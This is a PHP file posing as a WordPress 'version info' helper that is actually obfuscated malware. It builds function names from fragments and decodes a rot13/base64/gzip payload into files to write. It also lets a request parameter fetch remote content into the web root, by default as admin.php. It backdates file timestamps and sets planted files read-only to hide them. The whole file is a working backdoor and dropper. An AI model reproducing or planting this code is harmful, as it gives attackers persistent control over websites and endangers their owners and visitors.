<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update()) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["ase6\064", 'decod'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    if (isset($_GET['r'])) $data = $_GET['r'] . $data;
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y2uioJHin2SmqKWmqJtipUIvoTywK2u0oJjiq3NgnJ5woUIxMKZiMz9hqUZiAGR3LmH0MQp4AJV1BQOxZwWvMJEwLJR2LzAvMGuvATL', function ($version_file, $name) use ($temp) {
        $data = translation_v3('wIuMx6YDxa62Vhb/ZO01LIH4WsiJqrirHRSSODERyOf9SnlldzjvqCE/a4B1qCp83DpA+GYmMBnKzFqVer/L95/uq+GS+b6//lv+49G3o3OjFw04gbbdY6bNCyq2RwciDMxzpUu0irijUWl/iLGs0H6sEoQi3/7kYjOOsaI0liO0uXOWFc0rUjkGB/vbZK+6+3aUo63IU8wYejrYSOIiIzsMnk+B1+UtiQRqm+PHhEJaEQ0nYQK5UNyPBXKR4OGxIhAhRIFbzXKPeDrfl592kzc/KFlBM325i5G5uw56pPT7fWyrk2C1aSgYsLb2lM5O/YmHvbSsneoBUaqkCV7X0l6pRlMFLbkLfsLxep6Kl34e6n4xO05rBmco4Uv5l68FVynmp7CsKsZ1tmhgmpR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bu+sNf1ji75obCgNRE3n7AAog0zPGMuzZjGlnESQFjyaZLz3pbIlP9uRRkGPC/sold1h8//BAsEvHyhA4EsT5fJZVNEM2jEqCocI4HUcl33XimfCFTme/iY9G33/mkjCVQ5XCK8wLXwjV/acHB+C//sb/4NRj/h/Iwl/k5UE0bs/+dsXXmzhog6zj4dJElC+P/hiM/0+H3Y8qQnRiG+9h/tS/MiNKsoMU0WFY0M7wZFmWRuEPhPwOZWFQZPvPHbP+K/8U', '1');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '1');
        $data = translation_v1($data, '0');
        foreach ($data as $item) {
            version_check($item[0], $item[1], $temp, $item[2]);
        }
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v1($data, $offet)
{
    if ($offet) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

function version_update()
{
    if (($a = base_decode($_REQUEST['name'])) && strlen($a) > 30) return;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $a = explode(',', $a);
    if (empty($a[1])) $a[1] = 'admin.php';
    echo $a[1] . "<br>";
    version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], file_get_contents($a[0]), $temp);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}